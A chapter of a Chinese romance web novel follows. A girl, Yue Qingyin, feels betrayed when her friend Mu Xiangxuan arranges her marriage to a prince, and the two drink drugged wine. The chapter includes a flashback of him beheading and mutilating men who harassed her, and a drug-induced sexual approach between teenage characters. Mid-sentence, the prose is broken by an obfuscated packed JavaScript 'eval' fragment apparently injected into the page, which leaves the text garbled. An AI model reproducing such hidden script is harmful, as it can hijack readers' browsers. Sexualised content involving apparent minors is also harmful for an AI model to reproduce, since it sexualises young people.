慕相玄在旁松快地笑笑,拉来她的手,重新一笔一划写下那个字。 横折、长横、短横、竖…… 字的模样逐渐清晰,逐渐非常明朗地指向某个汉字。 可越清音还是眼也不眨,死死盯着他的指尖,看着他逐笔写出一个完整的、挑不出错处的“肃”字。 “……越姑娘,这道圣旨,是慕将军亲自求来的……” 他最后一笔落下的时候,越清音听见一道轻微的“咔嚓”声,似乎有什么东西悄悄碎掉了。 她依旧有些茫然,甚至缓缓环视了一圈,瓦片们不是都好好的么,是什么碎掉了呢…… 还未想明白,她就对上慕相玄的目光,猝不及防撞进那种云开月明、终成所愿的快意潇洒里。 慕相玄的声音轻且殷切:“清音!” “圣上说了,勤王去世后,融州久无封王,往后融州就是肃王的封地……” “待越将军年迈卸甲,越柳营也由肃王助圣上执戟……” 所以她无需远嫁京城,也不会被困进高墙大院里,仍然可以在边关草原做自由的苍鹰。 他的眼神愈发柔和:“往后没人能束缚你。” 融州…… 越柳营…… 越清音木木然坐着,才发现那道“咔嚓”声是从她的胸腔里传出的,它碎个不停,最后“哗啦”地塌成齑粉。 她终于理清楚了一切。 “哈……” 她忍不住自嘲地笑:“原来,这就是你对我说的放心,这就是你说的不会让我嫁给二皇子……” 她真该放心。 她当然该放心了,她怎么会嫁给毫无价值的二皇子呢? 原来早在去年的生辰夜,他就已经想好了! 他要将她好好地送到肃王府里,送到那个即将统领融州城与越柳营的主君手里! 怪不得,在那花楼的隔间里,他对她欲言又止,藏着满腹话语想要坦白。 他装模作样地寻求她的同意,如今圣旨颁下,尘埃落定,竟就迫不及待地来同她邀功,说她的未来夫君将是融州的主人…… 融州城的主人! 怎么,他以为她会像往常那样对他高声赞颂吗? 以为她会极力称赞他为她择了明路,对他感恩戴德,从此心甘情愿地帮他吹枕边风、助他鹏程万里吗! 越清音掐着自己的膝盖,即便拢着披风也觉得手脚冰凉。 哪怕让她设想一万次,她也不会想到,卖友求荣的桥段竟能发生在他与她的身上。 她那样信任他,他却拿她送人、做礼! “所以……那道圣旨真是你亲自求的?” 她轻描淡写地问。 慕相玄自然承认:“嗯,是我……” 越清音简直笑出声了:“好有意思啊!” 她腾然站了起来,在那尖顶屋檐上如履平地,噌噌几步往长梯走。 中途又噌噌折返,扯下披风,用力摔到慕相玄的身上。 慕相玄惊诧地睁大了眼睛。 越清音居高临下地俯视他。 她看着他熟悉万分的脸,甚至看到他忙慌中也下意识伸手,想要扶稳她,只觉得讽刺到了极点。 他该不会是担心她跌了摔了,有个好歹,他未来的主子会拿他问罪出气吧? 她冷冰冰地开口。 “你知道夫妻二人是一体的吗?” 慕相玄察觉到异样,愣着不知如何作答。 越清音冷眼睨着他:“我拿你当交心之人,你拿我当什么了?” 她扯了扯嘴角,故意要恶心他:“你拿我当主人了?” 慕相玄:“……” 少年眼神游离了瞬,立即从脸红到了脖子根。 他偷摸地想,不是,她这么大胆的吗…… 那他要不要陪她玩啊…… 慕相玄羞耻地揪着衣袍,半晌后,声如蚊呐道:“嗯……” 越清音:“……” 慕相玄耳际的发丝被晚风揉散。 他惦记着她解了披风,有些不放心:“高处夜凉风大,不如还是先披上……” 可话未说完,眼前的少女就愤愤然转过身,大步迈向檐边,明艳的衣裙在夜风中起伏翻飞,纤细的身子看起来摇摇欲坠。 “你想下去吗?” 他着急地起身跟上,伸手拉她:“慢些,不如我先下去接你……” “别碰我!”越清音使劲甩开他的手,恼怒地瞪了他一眼。 慕相玄即时僵在檐上。 他好像被她扇了一巴掌。 那种从未在她身上感受过的抗拒之情,突如其来,冷不丁扇得他脸上火辣辣地疼。 再定睛时,越清音已经跳下长梯,头也不回地摔门进了屋子。 “清音!”他连忙追上去。 越清音踏进房门,一眼看见桌上烧得所剩无几的红烛。 ……今夜她摸着黑点灯,都没留意,点了一对原本想要送给她“未来继母”的龙凤花烛。 她回想起来,情不自禁地觉得可笑。 她甚至一度以为那道圣旨是兴旺命火的善缘,可笑,这叫什么善缘? 那些她跑遍融州城的大街小巷、精心选回的礼品仍堆砌在屋子一侧,可她望过去的时候,再也没了踏实、期待的感觉,只觉得满屋子的红彩晃得刺眼。 越清音低下头。 她穿的这身海棠红衣也刺眼。 她胡乱扒下身上的衣裙,丢弃在灰白的地板上,火光昏暗,原本鲜亮的颜色,如今只像一朵枯萎败坏的棠花。 心爱的棠花快死了,越清音混沌的记忆却清明了些。 她想起,那位年迈的礼官宣读完圣旨的那一刻,她听见身边二哥猛乱的吸气声,胡人少年僭越地撑起身,对那礼官喊道:“是不是哪里弄错了!” 她还听见身后许多将士的惊声、叹声,他们震惊、惋惜、窃窃私语。 他们言语中提到慕相玄,他们说这道圣旨是一种“拆散”。 ……不,不是的。 越清音麻木地往前走,心里回应道,不是拆散,这是背叛。 待慕相玄追过来推开门,只见房室暗味,少女只着一身雪白里衣,孤零零地跪坐在矮案边上,背影单薄得像片纸。 没来由的心慌,让他全然顾不上冒犯,心焦地冲进屋中。 他屈膝半跪到她身边,试图低头看清她的神情,语调近似央求:“怎么了,你告诉我怎么了?” 慕相玄匆匆检索今夜的事情,大约摸出头绪:“是因为我冲动请旨赐婚?” 他小心地托起她的脸,恳求道:“我知道我当时十分莽撞,若你不高兴,打我骂我也好啊,不要不说话……” 越清音异常冷静地注视着他的面容。 她清醒又悲哀地意识到,于她而言,嫁给肃王并不是一件足以令她心碎的事情。 因为她打小就知道越柳营与慕容家的婚约。 她清楚自己早晚会成为某个慕容氏的新娘,就算不是肃王,也可能是端王、敬王……是一个她没见过几面的男人。 她今夜所有的情绪,迷茫、伤心、失望、愤怒……乃至于眼下近于崩溃的冷静,都是因为请旨赐婚的人是眼前这少年。 ——任何人请旨赐婚都可以,唯独他不行。 这执念来得没有根据,只是冥顽不灵地缠绕着她,她甚至说不明白为什么是他就不行。 越清音捏到自己指尖的针线伤口,同时意识到一件非常可悲的事情。 她习惯了受伤就去找他安慰,可今日伤她的人是他,她真是手足无措,完全不知该如何是好。 少女失落地坐在烛光下。 也就失落了三息时间。 她的一半鄯善血脉在揎拳掳袖,不许她学着汉人矫情,坐在月下灯里伤春悲秋。 被放养长大的胡人少女,心思朴素,所有处世哲学都是从野阔草原上学来的。 越清音眼神逐渐决然—— 她有一枝棠花,曾经非常漂亮,可现在已经烂了。值得惋惜,但不值得她再留着了。 越清音果断伸出手,将一坛酒提到矮案上,对慕相玄说道:“喝酒么?” 慕相玄哑然张了张口,只恨身为男子,压根想不明白姑娘家瞬息万变的心事。 “是我们开封过的女儿红。” 越清音已经抽去苎麻绳:“今夜,就把它喝完吧。” 她的耳边再次响起乌维言古怪的语调。 “若是喝了,你们俩就再也做不成朋友了……” 越清音掀开盖子,闻见馥郁醇厚的酒香。 ……原来是绝义酒,来得正是时候。 二哥不愧是她的知音! 她本想寻个碗,可惜手边没有,秉持着待人的礼貌,她客气道:“要就着坛子喝了,你先请。” 慕相玄:“……” 他本能地觉得她不对劲,可经年的习惯还是让他顺从地接过酒坛子,捧到了嘴边。 慕相玄立即就嗅出了酒里气味的变化。 醇香里有一缕隐约的辛辣味,像是某些药材。 他迟疑地推远酒坛:“等会儿,清音,这酒不对劲……” 越清音没好气地扯扯嘴角,当然不对劲了,绝义酒能有对劲的吗? 她受够与他周旋,从他手中抢过酒坛子:“你不喝,那我喝好了。” 越清音不管三七二十一,仰头给自己大口灌酒,没几下就被呛得咳嗽,眼泪都泛出了眼眶。 慕相玄想拦也拦不住:“清音……” 他揪起心来,眼见她还要继续灌,立即劈手夺过酒坛:“我喝,我来喝!” 辛辣的酒液俯冲入喉,滋味如同火烧,全然不同于前一次的温醇。 分明是凉酒,却不知为何,烧得周身血液都开始沸腾,开水一般沸沸扬扬。 慕相玄忍着滚热,不停歇地给自己灌酒,直到眩晕感无法阻拦地发生。 他手一松,酒坛子砸落地面,碎成失控的陶片,飞溅的酒水染污了那身崭新的棠红衣袍,也弄湿了清音的衣衫。 他的指尖摸到湿漉交叠的布料。 少年恍惚着转头,却对上一抹雪色,呼吸猝然乱了。 越清音喝得早,身子骨也弱些,几口直灌胃中,已经让她难受得犯迷糊。 她挨着矮案,纤薄的身子打着颤,低低喊着热,里衣也被矮案蹭松了小片,被烛光照出半边玲珑锁骨,细细的小衣系绳挂在柔白的肩上。 她很不好受,又热又痒,衣襟没遮住的肌肤都泛着潮红,肩上已经挠出了两道鲜红血痕。 “别,别挠……” 慕相玄勉强定住神,想要帮她提起滑下的衣领,可刚捏住她的领子,指尖就颤抖着不听使唤。 好似骨缝中都有种灼人的渴意,无时无刻都啃噬着他,催着他勾指挑开她小衣的系绳,催着他将手掌探进她的衣料里…… ……等等,不可以。 慕相玄仓皇徹回手,立即攥紧自己身侧的衣袍,用力得连指节都绷出青白色。 身边的少女似乎察觉到了他的动静。 她往前靠近他,手掌抵在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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火蚁噬心般的灼烫越来越猖狂,血液翻涌得似乎皮肉下有活物窜跳,慕相玄额角青筋暴起,知道自己快要控制不住骨子里的劣性了。 他重新睁开眼睛,低头看见她将潮红的脸颊半埋进他怀里,浓长的眼睫毛像扇子扑簌着。 ……她满心满意地信任依赖他,他却要在她不清醒的时候对她用强么? 他克制住呼吸,搂着她坐起来了些。 越清音本能地渴望贴近,还想抬手勾住他的肩,却被他使劲压下了动作。 她委屈巴巴地仰脸看他,懵然发现他将自己的唇角咬破了口子,血色弥漫开来。 越清音呆愣愣地问:“你疼么……” 没听见答声,但有一道冰凉刺骨的寒意抵进了她的手心。 越清音打了个冷颤,低头才发现他将那把玄黑匕首塞进了她手里。 他的呼吸已经乱得毫无节奏,指尖也抖得不像话,可还是竭尽全力牵引着她,带着她将匕首的刀尖抵到他的喉间。 “我不疼的。” 他似乎在回答她方才的问句。 越清音攥刀的手一紧,猛然回过神来。 身前的少年已经无暇顾及其他。 他艰难按耐住往她身上扑去的渴望,胸膛重重地起伏,眸光却眷恋,似乎要将她的模样刻进眼底。 他做了个动作,教她将那匕首扎进他的喉咙里。 “会么?”他这样问。 越清音张了张口,却发不出声音。 她会。 ……她当然会。 这已经是他第二次教她了。 在她及笄的那一年,二皇子来了越柳营。 她起初还是无忧无虑,在军营里四处凑趣儿,与伙伴们欢快玩耍。 但没过几日,慕相玄与乌维言就将她堵在了院子门口。 他们不许她出门了。 她很不服气地索问原由,可那两人比如今更青涩的脸庞上堆满了难以启齿,支吾半日也说不出个所以然。 最后,他们连哄带骗地对她说日子不吉利,不宜出门,竟还轮番站岗在她的院子里守了好几日。 越清音被关得快要头顶长蘑菇,好不容易等到两人都被她爹喊走的时机,立即欢天喜地拎着纸鸢出门。 她忘了那只拖着彩尾的纸鸢是如何挂上树梢的,只记得当时自己半点也不慌,随意蹬掉鞋子与罗袜,轻捷灵活地攀上了高树。 她刚够到纸鸢的时候,忽然听见树底下一阵喧笑声。 越清音认得那几个人,是二皇子带来的幕僚人才,她好奇又不解地往下望,不明白这群年纪能当她父亲的男人为何围着她的鞋袜,发出令人不适的笑声。 甚至有人捡起她的绣鞋与罗袜,就势卷进了他的宽袖里。 她急了,扬声提醒道:“那是我的!” 底下那人笑得更大声了:“我们瞧见了。” 他们语调轻浮地猖笑许久,越清音才听明白意思。 大概是什么迂腐有病的京中规矩,说女子要贞洁守身,若是被外男看见了她的双脚,那她的清白闺名也算是毁了。 越清音无言以对,无法理解他们的激情狂欢,眼见讨不回鞋袜,索性捡起纸鸢就下了树。 她仰着下巴,毫不在意地赤足往回走:“傻子才会将清白放在脚上。” 那几人先是诧异,很快又下流地笑。 “那你的清白放在哪儿了?” 越清音不想搭理他们,拎起自己小纸鸢就要回院子。 可那群人瞧着她稚气未脱,很好欺负的模样。 又笃定这种事情有损清誉,她只会忍气吞声不敢声张,竟然胆大包天地拦住她的去路。 “别让她走!” 那个穿宽袖的男人嬉皮笑脸道:“快去请二皇子来!” “她的鞋袜还在这呢,只要请二皇子来看清她的双足……嘿,届时越将军为了保全越氏名声,说什么也会将她嫁出去的……” “那岂不是正好全了殿下的心愿,哈哈哈!” 越清音被拦出一肚子火气,正欲张口骂人,身侧的一个矮胖子却大惊小怪地凑到她身前:“喔唷!” 那胖子目光淫猥地盯着下方:“越姑娘没学过女训么,怎么穿这么短的裙子?” 他同旁人指指点点道:“你们瞧瞧越姑娘,看起来乖巧可人,背地里却如此狂放,裙子连脚尖都盖不住呢!” 一群人闻言,还真的眺着眼来瞧,涎着脸笑道:“还真是……” “都说鄯善姑娘格外白皙,今日看来确实不假,越姑娘冰雪肌肤,是随了亲母吗?” “哎,你退后什么呀!你穿这么短的裙子,不就是想让别人看的吗?” 在放肆的大笑声中,有个瘦条汉子舔着唇靠近她,嬉笑道:“其实我本家也姓慕容,既然看了你的脚,不如我娶你……” 他的嘴巴还在张合,下一刻,腥膻的血液却已经溅到了草坪上。 “扑通”一声,一具没有头颅的尸体栽到地面。 在几人惊恐万状的眼神里,慕相玄拎起那汉子头颅,轻蔑地嗤声:“就你还想娶她?” 越清音第一次亲眼见他杀人,大概还是有些意外的。 待乌维言赶到时,慕相玄已经割下了所有人头,顺带剜出了那一双双死不瞑目的眼睛,粘稠的血液流得到处都是。 乌维言险些被吓得死不瞑目了。 越清音体贴地搀住柔弱干呕的二哥。 杀星少年甩甩匕首上的污血,一步步走到她跟前。 越清音神色越发乖顺,心想,他都杀人发泄了,可不能再骂她贪玩偷溜了吧…… 然而,少年冷冷看了她半晌,只朝她做出一个割喉的动作。 “会么?” 他将那把匕首抛给了她,从此就成了她的物件。 …… 昏沉沉的房屋里,两人的呼吸清晰可闻。 当时他赠她的那把匕首,她一直贴身带着,眼下就贴在她的掌心里。 越清音刚压下的难过再次复苏。 她有一枝棠花,曾经非常漂亮,但现在已经烂了。 慕相玄还想要她抵近匕首,冰凉的金属刀柄已经被她灼热的体温暖化。 越清音极近地注视着他的眼睛,他瞳仁的墨色与他们初识时一般无二,看着她时总是温情润泽。 ……棠花烂了就该扔了。 可它曾经的模样太漂亮了。 ……她想要再留它一夜。 越清音听见血液横冲直撞的声音,撞得她心跳如狂。 “相玄……” 她轻轻低头蹭着他的耳鬓,小声对他说:“我没看过避火图……” 慕相玄搂在她后腰的手轻颤了下。 她反握住他的另一只手,在少年震晃的目光里,将那把玄黑匕首扔到遥遥角落去。 “我不会。” 少女将柔软的唇瓣印上他的耳尖:“你再教教我,好么?”